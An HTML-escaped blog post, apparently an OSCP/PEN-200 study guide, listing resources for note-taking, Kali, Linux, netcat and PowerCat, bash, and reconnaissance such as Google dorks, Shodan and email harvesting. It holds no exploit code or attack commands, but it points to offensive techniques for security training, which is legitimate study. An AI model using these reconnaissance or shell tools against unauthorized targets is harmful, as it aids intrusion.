  &lt;li&gt;&lt;a href=&quot;#section-17-port-redirection-and-pivoting&quot;&gt;Section 17: Port Redirection and Pivoting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-18-active-directory-attacks&quot;&gt;Section 18: Active Directory Attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-19-metasploit-framework&quot;&gt;Section 19: Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-20-powershell-empire&quot;&gt;Section 20: PowerShell Empire&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extra-resources&quot;&gt;Extra Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#setting-up-your-pentesting-environment&quot;&gt;Setting up your Pentesting Environment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#wargameshands-on-challenges&quot;&gt;Wargames/Hands-on Challenges&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#capture-the-flag-competitions-ctfscyber-competitions&quot;&gt;Capture the Flag Competitions (CTFs)/Cyber Competitions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#bug-bounty-programs&quot;&gt;Bug Bounty Programs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerable-machines&quot;&gt;Vulnerable Machines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tips-to-participate-in-the-proctored-oscp-exam&quot;&gt;Tips to participate in the Proctored OSCP exam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#other-resources&quot;&gt;Other Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;overview&quot;&gt;Overview:&lt;/h1&gt;
&lt;p&gt;After releasing the first version of my PWK/OSCP guide, Offsec released an update to the PWK/OSCP and included a key classification system to help students understand how course designation work. The PWK/OSCP is classified as PEN-200 and after spending some time reviewing the course I decided that I wanted to create an update version to help future students out there prepare for the new PEN-200. 
For those of you that have read my previous version you will notice there may be some sections that still have the same resources but you will also notice new resources for each section. I have taken to time to make sure that the information and my advice will help prepare for your adventure to take the PEN-200 PWK/OSCP!&lt;/p&gt;

&lt;p&gt;For those of you that would like to know about my journey when I took the course and exam, you can find my earlier post here: 
&lt;a href=&quot;https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html&quot;&gt;https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you are still going through the old labs and course material, you find the first guide here:
&lt;a href=&quot;https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html&quot;&gt;https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;dedication&quot;&gt;Dedication:&lt;/h1&gt;
&lt;p&gt;As always a big shout out goes to abatchy! Without his guide I would have never started exploring for other resources. Thank you for creating your original guide: 
&lt;a href=&quot;https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob&quot;&gt;https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also want to thank the following people for taking the time to read and provide feedback for the updated version of this guide:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/reybango&quot;&gt;Rey Bango&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/TunnyTraffic&quot;&gt;VCSEC A moderator at Netsec Focus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/g0tmi1k&quot;&gt;G0t Mi1k&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Andy &lt;a href=&quot;https://twitter.com/ZephrFish?s=20&quot;&gt;ZephrFish&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Joe &lt;a href=&quot;https://twitter.com/TheBlindHacker&quot;&gt;TheBlindHacker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The team at &lt;a href=&quot;https://twitter.com/offsectraining&quot;&gt;Offensive Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This guide has been approved by Offensive Security for PEN-200!&lt;/p&gt;

&lt;h1 id=&quot;a-word-of-warning&quot;&gt;A Word of Warning!:&lt;/h1&gt;
&lt;p&gt;Do not expect these resources to be the main thing you use for obtaining OSCP. When you are ready to take the course, you should expect the following:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Spending a lot of time researching.&lt;/li&gt;
  &lt;li&gt;Do not expect the student admins or even other students to give you answers easily; put in the effort to research your questions.&lt;/li&gt;
  &lt;li&gt;Plan to make a commitment to this and have an open mindset to learning new things.&lt;/li&gt;
  &lt;li&gt;Everyone prepares differently and mentally. Learn to build your own strategy/methodology that works for you when you are improving your practical skills.&lt;/li&gt;
  &lt;li&gt;Know your tools! There are certain tools that you cannot use for the exam. However, that does not mean you should skip over them. Take some time to understand them because you may have to use them on an actual engagement or in the field.&lt;/li&gt;
  &lt;li&gt;Be careful when using Automated Tools: Automated tools can improve your performance and reduce the time taken in your methodology when assessing a target. However, the automated tools created by these developers have certain features or create scripts that combine common tools to automate their findings. These tools can miss services or findings that you should be looking for. It would be best if you take the time to understand how things work manually.&lt;/li&gt;
  &lt;li&gt;Remember Offensive Security motto: TRY HARDER &lt;a href=&quot;https://www.offensive-security.com/offsec/what-it-means-to-try-harder/&quot;&gt;https://www.offensive-security.com/offsec/what-it-means-to-try-harder/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As of now Offensive Security has restricted the following tools:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Commercial tools or services (Metasploit Pro, Burp Pro, etc.)&lt;/li&gt;
  &lt;li&gt;Automatic exploitation tools. (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja etc.)&lt;/li&gt;
  &lt;li&gt;Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT, etc.)&lt;/li&gt;
  &lt;li&gt;Features in other tools that utilize either forbidden or restricted exam limitations&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Any tools that perform similar functions as those above are also prohibited. You are ultimately responsible for knowing what features or external utilities any chosen tool is using. The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting vulnerabilities, not in automating the process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Use Case for Understanding the Tools/Scripts you use in a Pentest: &lt;a href=&quot;https://www.offensive-security.com/offsec/understanding-pentest-tools-scripts/&quot;&gt;https://www.offensive-security.com/offsec/understanding-pentest-tools-scripts/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reference: &lt;a href=&quot;https://support.offensive-security.com/oscp-exam-guide/&quot;&gt;https://support.offensive-security.com/oscp-exam-guide/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Most importantly: Have fun! You will learn a lot from this course, take your time to understand the material and this guide. 
Do not forget to take breaks and spend time away from the electronics. Trust me you do not want to burn yourself out.&lt;/p&gt;

&lt;h2 id=&quot;course-syllabus&quot;&gt;Course Syllabus&lt;/h2&gt;

&lt;p&gt;The 2nd most important resource that I used to help me prepare for the course:
&lt;a href=&quot;https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf&quot;&gt;https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the syllabus I will breakdown each section by providing you the resources I used to prepare for the course. Once I finish going through the syllabus, I will also be providing some extra resources that came in handy. You don’t need to use this guide in order; feel free to jump around as it suits you.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;General Course Information&lt;/li&gt;
  &lt;li&gt;Getting Comfortable with Kali Linux&lt;/li&gt;
  &lt;li&gt;Linux Command Line Kung-Fu&lt;/li&gt;
  &lt;li&gt;Essential Tools in Kali&lt;/li&gt;
  &lt;li&gt;Getting Started with Bash Scripting&lt;/li&gt;
  &lt;li&gt;Passive Reconnaissance&lt;/li&gt;
  &lt;li&gt;Active Reconnaissance&lt;/li&gt;
  &lt;li&gt;Vulnerability Scanning&lt;/li&gt;
  &lt;li&gt;Web Application Attacks&lt;/li&gt;
  &lt;li&gt;Windows/Linux Buffer Overflows&lt;/li&gt;
  &lt;li&gt;Client-Side Attacks&lt;/li&gt;
  &lt;li&gt;Working with Public Exploits&lt;/li&gt;
  &lt;li&gt;File Transfer&lt;/li&gt;
  &lt;li&gt;Antivirus Bypassing&lt;/li&gt;
  &lt;li&gt;Privilege Escalation&lt;/li&gt;
  &lt;li&gt;Password Attacks&lt;/li&gt;
  &lt;li&gt;Tunnelling/Pivoting&lt;/li&gt;
  &lt;li&gt;Active Directory Attacks&lt;/li&gt;
  &lt;li&gt;Introduction to the Metasploit Framework&lt;/li&gt;
  &lt;li&gt;PowerShell Empire&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-1-general-course-information&quot;&gt;Section 1: General Course Information&lt;/h1&gt;

&lt;p&gt;This section provides an overview of what you should expect on the course. The PDF guide you will receive with your course materials contains a list of resources and how you should approach the material and lab environment. I highly recommend to you read the restrictions carefully and the OffSec perception of how a report is created. 
Those sections are really going to help you understand how you should be taking your notes, writing your report, what to expect when your are testing the lab environment, and also what you should be careful of doing when you are going through the course.&lt;/p&gt;

&lt;p&gt;When it comes to report writing and note taking you should be documenting EVERYTHING that you identify. This includes output from scans, screenshots from key findings, your assumptions, and much more. Organizing these notes will pay off in the long term when it comes to writing the report. Remember you can always choose to not include information in the report if you don’t need it. But re-tracing your steps to grab screenshots, tool output, etc. will take valuable time.&lt;/p&gt;

&lt;p&gt;Keep in mind that everyone takes notes and builds their reports differently. It is up to you to build your format and layout when you are creating these notes that fits your workflow. You’ll develop and hone this as you go through the exercises and labs. This is a very important lesson.&lt;/p&gt;

&lt;p&gt;Here are some resources that can give you an idea of note taking tools, what templates people use for note taking, and how corporations create their pentest reports:&lt;/p&gt;

&lt;p&gt;Reporting Tools:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Joplin: &lt;a href=&quot;https://github.com/laurent22/joplin&quot;&gt;https://github.com/laurent22/joplin&lt;/a&gt; In Kali: apt install joplin&lt;/li&gt;
  &lt;li&gt;CherryTree: &lt;a href=&quot;https://github.com/giuspen/cherrytree&quot;&gt;https://github.com/giuspen/cherrytree&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Typora: &lt;a href=&quot;https://typora.io/&quot;&gt;https://typora.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;OneNote &lt;a href=&quot;https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app&quot;&gt;https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Obsidian &lt;a href=&quot;https://obsidian.md/&quot;&gt;https://obsidian.md/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note/Reporting Pentest Templates:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;TJ Joplin Pentest Template: &lt;a href=&quot;https://github.com/tjnull/TJ-JPT&quot;&gt;https://github.com/tjnull/TJ-JPT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Maik’s Pentest Template in OneNote: &lt;a href=&quot;https://maikthulhu.github.io/2017-11-20-onenote-layout/&quot;&gt;https://maikthulhu.github.io/2017-11-20-onenote-layout&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;James Hall Cherry Tree Template: &lt;a href=&quot;https://411hall.github.io/assets/files/CTF_template.ctb&quot;&gt;https://411hall.github.io/assets/files/CTF_template.ctb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Whoisflynn OSCP Report Template: &lt;a href=&quot;https://github.com/whoisflynn/OSCP-Exam-Report-Template&quot;&gt;https://github.com/whoisflynn/OSCP-Exam-Report-Template&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pentest Reports:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Julio’s repo of public pentest reports: &lt;a href=&quot;https://github.com/juliocesarfort/public-pentesting-reports&quot;&gt;https://github.com/juliocesarfort/public-pentesting-reports&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Screenshot Tools:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Kazam (In Kali): &lt;a href=&quot;https://launchpad.net/kazam&quot;&gt;https://launchpad.net/kazam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Shutter: &lt;a href=&quot;https://shutter-project.org/&quot;&gt;https://shutter-project.org/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Flameshot &lt;a href=&quot;https://github.com/flameshot-org/flameshot&quot;&gt;https://github.com/flameshot-org/flameshot&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to record your terminal input/output:&lt;/p&gt;

&lt;p&gt;Script: The script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man1/script.1.html&quot;&gt;https://man7.org/linux/man-pages/man1/script.1.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Using Script to record everything in your terminal: &lt;a href=&quot;https://ostechnix.com/record-everything-terminal/&quot;&gt;https://ostechnix.com/record-everything-terminal/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-2-getting-comfortable-with-kali-linux&quot;&gt;Section 2: Getting Comfortable with Kali Linux&lt;/h1&gt;

&lt;p&gt;Kali Linux Revealed and Online Course: 
A good foundational course that helped me understand more about Kali Linux and it has a nice Linux Fundamentals section.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Book Link: &lt;a href=&quot;https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf&quot;&gt;https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Online Course Link: &lt;a href=&quot;https://kali.training/lessons/introduction/&quot;&gt;https://kali.training/lessons/introduction/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Kali Linux Documentation: &lt;a href=&quot;https://www.kali.org/docs/&quot;&gt;https://www.kali.org/docs/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Issues or Requests that you think should be added in Kali:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Bug Tracker: &lt;a href=&quot;https://bugs.kali.org/my_view_page.php&quot;&gt;https://bugs.kali.org/my_view_page.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For troubleshooting and support issues:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Kali Linux Support Forum: &lt;a href=&quot;https://forums.kali.org/&quot;&gt;https://forums.kali.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources for Kali Linux:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Building your own Kali ISO: &lt;a href=&quot;https://www.kali.org/docs/development/dojo-mastering-live-build/&quot;&gt;https://www.kali.org/docs/development/dojo-mastering-live-build/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Use Case: &lt;a href=&quot;https://www.offensive-security.com/kali-linux/creating-kali-i3-gaps/&quot;&gt;https://www.offensive-security.com/kali-linux/creating-kali-i3-gaps/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-3-linux-command-line-kung-fu&quot;&gt;Section 3 Linux Command Line Kung-Fu:&lt;/h1&gt;

&lt;p&gt;Linux Journey: 
A huge guide to learn about a variety of different things in Linux. All the lessons are free.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuxjourney.com/&quot;&gt;https://linuxjourney.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;EDX Introduction to Linux:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.edx.org/course/introduction-to-linux&quot;&gt;https://www.edx.org/course/introduction-to-linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Explainshell: 
Awesome resource that parses a variety of man pages from Ubuntu Manage Repository. It breaks down the commands you are using, but it is best to refer to the man pages if you have any questions: .&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.explainshell.com/&quot;&gt;https://www.explainshell.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PEN_200/explainshell.png&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hands on challenge to get comfortable with Linux:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Overthewire Bandit: &lt;a href=&quot;https://overthewire.org/wargames/bandit/&quot;&gt;https://overthewire.org/wargames/bandit/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Cmdchallenge.com: &lt;a href=&quot;https://cmdchallenge.com/&quot;&gt;https://cmdchallenge.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;HackerRank Linux Shell: &lt;a href=&quot;https://www.hackerrank.com/domains/shell&quot;&gt;https://www.hackerrank.com/domains/shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Books:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The Linux Command Line (2nd Edition): &lt;a href=&quot;https://nostarch.com/tlcl2&quot;&gt;https://nostarch.com/tlcl2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Linux for Hackers: &lt;a href=&quot;https://nostarch.com/linuxbasicsforhackers&quot;&gt;https://nostarch.com/linuxbasicsforhackers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Linux Command (Learning the Shell): &lt;a href=&quot;http://linuxcommand.org/lc3_learning_the_shell.php&quot;&gt;http://linuxcommand.org/lc3_learning_the_shell.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-4-essential-tools-in-kali&quot;&gt;Section 4: Essential Tools in Kali&lt;/h1&gt;
&lt;p&gt;Netcat: The TCP/IP Swiss Army tool. Experiment with this tool and understand what it does because you will be using this almost every day during your course and beyond.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SANS Netcat Cheatsheet: &lt;a href=&quot;https://www.sans.org/posters/netcat-cheat-sheet/&quot;&gt;https://www.sans.org/posters/netcat-cheat-sheet/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Netcat Cheatsheet Reference: &lt;a href=&quot;https://quickref.me/nc&quot;&gt;https://quickref.me/nc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ncat: A better version of netcat in my opinion. Supports SSL communication and it is part of Nmap.&lt;/p&gt;

&lt;p&gt;Socat: A command line based utility that establishes two bidirectional byte streams and transfers data between them. However, it has the ability to to allow multiple clients listen on a port and to reuse connections.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Socat Man Page: &lt;a href=&quot;https://linux.die.net/man/1/socat&quot;&gt;https://linux.die.net/man/1/socat&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;PowerShell and PowerCat:&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PowerShell is a cross-platform scripting language built by Microsoft that can is used for task automation and configuration management. PowerShell consists of running in a shell or a command-line environment. Unlike most shells, which accept and return text, PowerShell is built on top of the .NET Common Language Runtime (CLR), and accepts and returns .NET objects. PowerShell is a very powerful tool that pentesters use as it is installed Default on Windows and it can also be installed on Linux systems as well.&lt;/p&gt;

&lt;p&gt;Resources to learn more about PowerShell:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;PowerShell Learning Resources: &lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/scripting/learn/more-powershell-learning?view=powershell-7&quot;&gt;https://docs.microsoft.com/en-us/powershell/scripting/learn/more-powershell-learning?view=powershell-7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;PowerShell for Pentesting In Kali Linux: &lt;a href=&quot;https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/&quot;&gt;https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Books:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Windows PowerShell CookBook: &lt;a href=&quot;https://www.amazon.com/Windows-PowerShell-Cookbook-Scripting-Microsofts/dp/1449320686&quot;&gt;https://www.amazon.com/Windows-PowerShell-Cookbook-Scripting-Microsofts/dp/1449320686&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Windows PowerShell Reference Book: &lt;a href=&quot;https://www.amazon.com/Windows-PowerShell-Pocket-Reference-Scripters-dp-1449320961/dp/1449320961/&quot;&gt;https://www.amazon.com/Windows-PowerShell-Pocket-Reference-Scripters-dp-1449320961/dp/1449320961/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Learn PowerShell in a Month of Lunches: &lt;a href=&quot;https://www.amazon.com/Learn-Windows-PowerShell-Month-Lunches/dp/1617294160/&quot;&gt;https://www.amazon.com/Learn-Windows-PowerShell-Month-Lunches/dp/1617294160/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hands on Challenges for learning PowerShell:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;underthewire.tech: &lt;a href=&quot;https://underthewire.tech/wargames.htm&quot;&gt;https://underthewire.tech/wargames.htm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;codewars: &lt;a href=&quot;https://www.codewars.com/&quot;&gt;https://www.codewars.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PowerCat: A powershell version of netcat. The script can be downloaded onto a Windows target to transfer files, return a shell, or create payloads that we can call back from our target. 
&lt;a href=&quot;https://github.com/besimorhino/powercat&quot;&gt;https://github.com/besimorhino/powercat&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;TCPDump: Command line base Network Analysis Tool. Very useful and good to know if you are on a system that does not have a GUI. Here is a good cheat sheet I used for tcpdump when I needed to troubleshoot my exploits: &lt;a href=&quot;https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/&quot;&gt;https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Daniel Miessler TCPDump Guide: &lt;a href=&quot;https://danielmiessler.com/study/tcpdump/&quot;&gt;https://danielmiessler.com/study/tcpdump/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wireshark: GUI based Network Analysis tool. There a lot of free PCAP samples online that you can use to understand how Wireshark works. Be careful with downloading some of these PCAP files because they may have malware in them; make sure you read where the PCAP is from before playing :D&lt;/p&gt;

&lt;p&gt;PCAP Samples:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Netresec: &lt;a href=&quot;https://www.netresec.com/?page=pcapfiles&quot;&gt;https://www.netresec.com/?page=pcapfiles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Malware Traffic Analysis: &lt;a href=&quot;https://www.malware-traffic-analysis.net/&quot;&gt;https://www.malware-traffic-analysis.net/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Packettotal (Just like virustotal but for PCAP Analysis): &lt;a href=&quot;https://packettotal.com/&quot;&gt;https://packettotal.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-5-getting-started-with-bash-scripting&quot;&gt;Section 5: Getting Started with Bash Scripting&lt;/h1&gt;

&lt;p&gt;The bash Guide: A good guide to get you into the bash scripting&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://guide.bash.academy/&quot;&gt;https://guide.bash.academy/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Resources to learn more about Bash Scripting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Tutorials Point: &lt;a href=&quot;https://www.tutorialspoint.com/unix/shell_scripting.htm&quot;&gt;https://www.tutorialspoint.com/unix/shell_scripting.htm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;CodeAcademy: &lt;a href=&quot;https://www.codecademy.com/learn/bash-scripting/modules/bash-scripting&quot;&gt;https://www.codecademy.com/learn/bash-scripting/modules/bash-scripting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example Templates for writing your own Bash Scripts:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://betterdev.blog/minimal-safe-bash-script-template/&quot;&gt;https://betterdev.blog/minimal-safe-bash-script-template/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ralish/bash-script-template&quot;&gt;https://github.com/ralish/bash-script-template&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-6-passive-reconnaissance&quot;&gt;Section 6: Passive Reconnaissance&lt;/h1&gt;
&lt;p&gt;Take some time to learn about these tricks and techniques. They will certainly come in handy!&lt;/p&gt;

&lt;p&gt;Google Dorks: Using various google searches that you can find that may expose sensitive information about a target.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Google Hacking Database: &lt;a href=&quot;https://www.exploit-db.com/google-hacking-database&quot;&gt;https://www.exploit-db.com/google-hacking-database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SANS Google Dork Cheatsheet: &lt;a href=&quot;https://www.sans.org/security-resources/GoogleCheatSheet.pdf&quot;&gt;https://www.sans.org/security-resources/GoogleCheatSheet.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Netcraft: &lt;a href=&quot;https://netcraft.com/&quot;&gt;https://netcraft.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Shodan: 
Shodan is a search engine that lets a user find specific types of computers, network devices, webcams, etc that are connected to the internet using a set of filters for there results.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Shodan: &lt;a href=&quot;https://www.shodan.io/&quot;&gt;https://www.shodan.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Shodan Guide: &lt;a href=&quot;https://leanpub.com/shodan&quot;&gt;https://leanpub.com/shodan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Shodan CLI: &lt;a href=&quot;https://cli.shodan.io/&quot;&gt;https://cli.shodan.io/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reviewing Security Headers on Websites:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;OWASP Secure Headers Project: &lt;a href=&quot;https://owasp.org/www-project-secure-headers/&quot;&gt;https://owasp.org/www-project-secure-headers/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Finding Security Headers on websites: &lt;a href=&quot;https://securityheaders.com/&quot;&gt;https://securityheaders.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Email Harvesting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;theharvester: &lt;a href=&quot;https://github.com/laramies/theharvester&quot;&gt;https://github.com/laramies/theharvester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Infoga: &lt;a href=&quot;https://github.com/m4ll0k/Infoga&quot;&gt;https://github.com/m4ll0k/Infoga&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;recon-ng: &lt;a href=&quot;https://bitbucket.org/LaNMaSteR53/recon-ng/overview&quot;&gt;https://bitbucket.org/LaNMaSteR53/recon-ng/overview&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additional Resources: 
Tools I did not use in the lab but I used them for preparation and they have come in handy for other tests.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Domaintools: &lt;a href=&quot;http://whois.domaintools.com/&quot;&gt;http://whois.domaintools.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;MX Toolbox: &lt;a href=&quot;https://mxtoolbox.com/DNSLookup.aspx&quot;&gt;https://mxtoolbox.com/DNSLookup.aspx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-7-active-reconnaissance&quot;&gt;Section 7: Active Reconnaissance&lt;/h1&gt;
&lt;p&gt;Introduction to DNS: 
If you do not know what DNS is or how it works, here is a great guide that I used to better understand it from Digital Ocean: 
&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts&quot;&gt;https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts&lt;/a&gt;&lt;/p&gt;

